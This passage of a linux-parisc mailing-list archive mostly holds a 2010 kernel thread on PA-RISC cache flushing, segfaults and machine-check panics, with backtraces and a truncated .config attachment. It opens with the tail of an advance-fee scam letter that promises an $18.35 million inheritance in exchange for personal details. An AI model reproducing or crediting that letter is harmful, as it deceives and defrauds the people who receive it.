deposit. On further enquiry, I found that, Mr. Goudie  was involved in =
an
accident in Mainland China and that he died intestate. Because he has n=
o
next of kin all his assets in Europe are about to go to the government.=
 I
write you to makes you  to stand as his next of kin and surviving heir =
to
his assets and the beneficiary of the deposit valued 18,350,000.00 Mill=
ion
United State Dollars

My condition has become hopeless, my Doctor recently told me that my
cancer has spread and that I have a few months to live. Having known th=
e
hopelessness of my health condition, and the urgency to act, I am
compelled to seek your assistance to get this money out by standing as =
the
beneficiary and using part of these funds to help the poor and sick peo=
ple
in society. I have exclusive access to Mr. Goudie=E2=80=99s file and al=
l his
investment record.  I hope you are somebody that can be trusted.

If we can be of one accord, we should act swiftly on this. If you are
interested in this deal, kindly get back to me quickly with your full
details and I will proceed to give you full modalities on how this can =
be
acheived.

I await your response

Ms Magareth Williams
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 11 May 2010 12:37:01 -0400
Organization: nrc.ca
Lines: 31
Approved: news@gmane.org
Message-ID: <20100511163700.GA20368@hiauly1.hia.nrc.ca>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de> <20100509124339.GA6797@hiauly1.hia.nrc.ca> <20100510095632.173760@gmx.net> <20100510145648.GA13452@hiauly1.hia.nrc.ca> <4BE85C82.4080202@gmx.de> <20100510210711.GA15723@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273595852 5893 80.91.229.12 (11 May 2010 16:37:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 11 May 2010 16:37:32 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 11 18:37:23 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBsSL-0005Q7-E4
	for glpp-linux-parisc@lo.gmane.org; Tue, 11 May 2010 18:37:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753721Ab0EKQhH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 May 2010 12:37:07 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1615 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753058Ab0EKQhG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 May 2010 12:37:06 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 84CF9505C; Tue, 11 May 2010 12:37:02 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100510210711.GA15723@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2850
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2850>

On Mon, 10 May 2010, John David Anglin wrote:

> I'll do a little more testing tonight.  In testing, I have had a
> couple of boot failures on gsyprf11 starting iptables.  Haven't
> seen any hpmc's starting sshd.

It appears James' kmap change is needed on PA8800 (rp3440) for cache
coherency.  I see segmentation faults in sh with just the flush in
ptep_set_wrprotect.  I haven't had a chance to test whether the flush
in ptep_set_wrprotect is needed to fix minifail on this machine.
However, a GCC build completed successfully with the kmap change and
without the ptep_set_wrprotect flush.

On gsyprf11 (PA8700), James' kmap change doesn't fix minifail and we need
the cache flush in ptep_set_wrprotect to fix minifail.  The kmap change
causes general instability by itself.

Thus, it appears necessary to merge the two approaches and treat PA8700
and PA8800 differently.

I think we are really killing performance with the cache flushing...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 11 May 2010 22:41:34 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <4BE9C0FE.80509@gmx.de>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de> <20100509124339.GA6797@hiauly1.hia.nrc.ca> <20100510095632.173760@gmx.net> <20100510145648.GA13452@hiauly1.hia.nrc.ca> <4BE85C82.4080202@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273610522 734 80.91.229.12 (11 May 2010 20:42:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 11 May 2010 20:42:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 11 22:42:00 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBwH9-0002R5-5Z
	for glpp-linux-parisc@lo.gmane.org; Tue, 11 May 2010 22:41:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751655Ab0EKUl6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 May 2010 16:41:58 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:39230 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750939Ab0EKUl5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 May 2010 16:41:57 -0400
Original-Received: (qmail invoked by alias); 11 May 2010 20:41:55 -0000
Original-Received: from p54AD134C.dip0.t-ipconnect.de (EHLO halden.box) [84.173.19.76]
  by mail.gmx.net (mp056) with SMTP; 11 May 2010 22:41:55 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19an9MwTp5awyQuEH5PSWmfSxdEWA087hc+w92E65
	f4ADKHt5GAgFQw
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <4BE85C82.4080202@gmx.de>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2851>

On 05/10/2010 09:20 PM, Helge Deller wrote:
> On 05/10/2010 04:56 PM, John David Anglin wrote:
>> Yes, just after sending, I noticed gcc testsuite and minifail were
>> broken on gsyprf11.  [...]
>>
>> The attached works better on gsyprf11.  I haven't tested it on anything
>> else.

Hi Dave,

I still can see segfaults of the minifail_dave.cpp program.

In addition I see some memory corruptions.
Those corruptions are not new due to your patch, I could see them with
other patches (and maybe even plain 2.6.32.3 kernel) as well...

pagealloc: memory corruption

6e8291c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

6e8291d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

6e8291e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

6e8291f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Backtrace:

 [<1011ebc4>] show_stack+0x18/0x28

 [<10117b90>] dump_stack+0x1c/0x2c

 [<101c7020>] kernel_map_pages+0x2a0/0x2b8

 [<1019ebc8>] get_page_from_freelist+0x3d4/0x630

 [<1019ef58>] __alloc_pages_nodemask+0x134/0x610

 [<101b23d8>] do_wp_page+0x2c0/0xb50

 [<101b4290>] handle_mm_fault+0x514/0x844

 [<1011d870>] do_page_fault+0x1f8/0x2fc

 [<1011f400>] handle_interruption+0xec/0x730

 [<10103078>] intr_check_sig+0x0/0x40


Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 11 May 2010 22:44:03 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <4BE9C193.5040303@gmx.de>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de> <20100509124339.GA6797@hiauly1.hia.nrc.ca> <20100510095632.173760@gmx.net> <20100510145648.GA13452@hiauly1.hia.nrc.ca> <4BE85C82.4080202@gmx.de> <20100510210711.GA15723@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273610663 1314 80.91.229.12 (11 May 2010 20:44:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 11 May 2010 20:44:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 11 22:44:20 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBwJN-0005g5-Jd
	for glpp-linux-parisc@lo.gmane.org; Tue, 11 May 2010 22:44:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756532Ab0EKUoN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 May 2010 16:44:13 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51810 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753110Ab0EKUoL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 May 2010 16:44:11 -0400
Original-Received: (qmail invoked by alias); 11 May 2010 20:44:07 -0000
Original-Received: from p54AD134C.dip0.t-ipconnect.de (EHLO halden.box) [84.173.19.76]
  by mail.gmx.net (mp011) with SMTP; 11 May 2010 22:44:07 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18v/NJUousvBC+7q7sgLl7+CnTXiXgCTWVJdSC5pJ
	4OfMFHujs2EyWt
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100510210711.GA15723@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2852>

On 05/10/2010 11:07 PM, John David Anglin wrote:
> If you find the location of the hpmc is in code modified by change,
> that would be useful information.  Possibly, there is an issue with
> the pdtlb,l instruction.

Sadly I don't have any more info than this:

High Priority Machine Check (HPMC): Code=1 regs=106f5080 (Addr=00000000)

Kernel panic - not syncing: High Priority Machine Check (HPMC)

Backtrace:

 [<1011ebc4>] show_stack+0x18/0x28

 [<10117b90>] dump_stack+0x1c/0x2c

 [<10117c18>] panic+0x78/0x1e8

 [<1011f134>] parisc_terminate+0xe4/0xfc

 [<1011f504>] handle_interruption+0x1f0/0x730

 [<10103078>] intr_check_sig+0x0/0x40


The second time the kernel did booted without problems, even though
I didn't changed anything.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 11 May 2010 17:26:27 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca>
References: <4BE9C0FE.80509@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273613193 11791 80.91.229.12 (11 May 2010 21:26:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 11 May 2010 21:26:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 11 23:26:31 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBwyF-0004P7-2V
	for glpp-linux-parisc@lo.gmane.org; Tue, 11 May 2010 23:26:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752723Ab0EKV0a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 May 2010 17:26:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1646 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752717Ab0EKV0a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 May 2010 17:26:30 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 59FFD505C; Tue, 11 May 2010 17:26:28 -0400 (EDT)
In-Reply-To: <4BE9C0FE.80509@gmx.de> from "Helge Deller" at May 11, 2010 10:41:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2853
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2853>

> On 05/10/2010 09:20 PM, Helge Deller wrote:
> > On 05/10/2010 04:56 PM, John David Anglin wrote:
> >> Yes, just after sending, I noticed gcc testsuite and minifail were
> >> broken on gsyprf11.  [...]
> >>
> >> The attached works better on gsyprf11.  I haven't tested it on anything
> >> else.
> 
> Hi Dave,
> 
> I still can see segfaults of the minifail_dave.cpp program.
> 
> In addition I see some memory corruptions.
> Those corruptions are not new due to your patch, I could see them with
> other patches (and maybe even plain 2.6.32.3 kernel) as well...
> 
> pagealloc: memory corruption

I haven't seen this.  Which allocator are you using?  I have
CONFIG_SLAB=y.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 11 May 2010 17:39:02 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20100511213903.8330A4E77@hiauly1.hia.nrc.ca>
References: <20100511163700.GA20368@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273613953 14635 80.91.229.12 (11 May 2010 21:39:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 11 May 2010 21:39:13 +0000 (UTC)
Cc: deller@gmx.de, carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 11 23:39:11 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBxAV-0004f4-7U
	for glpp-linux-parisc@lo.gmane.org; Tue, 11 May 2010 23:39:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751380Ab0EKVjH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 May 2010 17:39:07 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1653 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751184Ab0EKVjG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 May 2010 17:39:06 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8330A4E77; Tue, 11 May 2010 17:39:03 -0400 (EDT)
In-Reply-To: <20100511163700.GA20368@hiauly1.hia.nrc.ca> from "John David Anglin" at May 11, 2010 12:37:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2854>

> On gsyprf11 (PA8700), James' kmap change doesn't fix minifail and we need
> the cache flush in ptep_set_wrprotect to fix minifail.  The kmap change
> causes general instability by itself.

I'm going to merge the two changes and see what happens.  With just
the flush in ptep_set_wrprotect, I'm seeing some segvs in sh on
gsyprf11.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 11 May 2010 23:41:10 +0200
Lines: 1872
Approved: news@gmane.org
Message-ID: <4BE9CEF6.7010203@gmx.de>
References: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030907020307080706030008"
X-Trace: dough.gmane.org 1273614083 15105 80.91.229.12 (11 May 2010 21:41:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 11 May 2010 21:41:23 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 11 23:41:20 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBxCV-0005ex-Um
	for glpp-linux-parisc@lo.gmane.org; Tue, 11 May 2010 23:41:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752145Ab0EKVlP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 May 2010 17:41:15 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:59098 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751380Ab0EKVlO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 May 2010 17:41:14 -0400
Original-Received: (qmail invoked by alias); 11 May 2010 21:41:11 -0000
Original-Received: from p54AD134C.dip0.t-ipconnect.de (EHLO halden.box) [84.173.19.76]
  by mail.gmx.net (mp034) with SMTP; 11 May 2010 23:41:11 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/rQW4aguDrlaIQ4xlhpKPbaNl5T0OE/J/FhvFXoO
	q2PAQsvOujIWlH
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100511212628.59FFD505C@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2855>

This is a multi-part message in MIME format.
--------------030907020307080706030008
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

On 05/11/2010 11:26 PM, John David Anglin wrote:
>> On 05/10/2010 09:20 PM, Helge Deller wrote:
>>> On 05/10/2010 04:56 PM, John David Anglin wrote:
>>>> Yes, just after sending, I noticed gcc testsuite and minifail were
>>>> broken on gsyprf11.  [...]
>>>>
>>>> The attached works better on gsyprf11.  I haven't tested it on anything
>>>> else.
>>
>> Hi Dave,
>>
>> I still can see segfaults of the minifail_dave.cpp program.
>>
>> In addition I see some memory corruptions.
>> Those corruptions are not new due to your patch, I could see them with
>> other patches (and maybe even plain 2.6.32.3 kernel) as well...
>>
>> pagealloc: memory corruption
> 
> I haven't seen this.  Which allocator are you using?  I have
> CONFIG_SLAB=y.

Yes.
Full .config attached.

Helge

--------------030907020307080706030008
Content-Type: text/plain;
 name=".config"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename=".config"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.33.3
# Mon May 10 20:12:09 2010
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_IRQ_PER_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_CONSTRUCTORS=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION="-32bit"
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_BSD_PROCESS_ACCT=y
# CONFIG_BSD_PROCESS_ACCT_V3 is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_TREE_PREEMPT_RCU is not set
# CONFIG_TINY_RCU is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=32
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=16
# CONFIG_GROUP_SCHED is not set
# CONFIG_CGROUPS is not set
# CONFIG_SYSFS_DEPRECATED_V2 is not set
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_LZO=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_PERF_COUNTERS is not set
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_COMPAT_BRK=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
# CONFIG_OPROFILE is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_USE_GENERIC_SMP_HELPERS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
CONFIG_SLOW_WORK=y
# CONFIG_SLOW_WORK_DEBUG is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
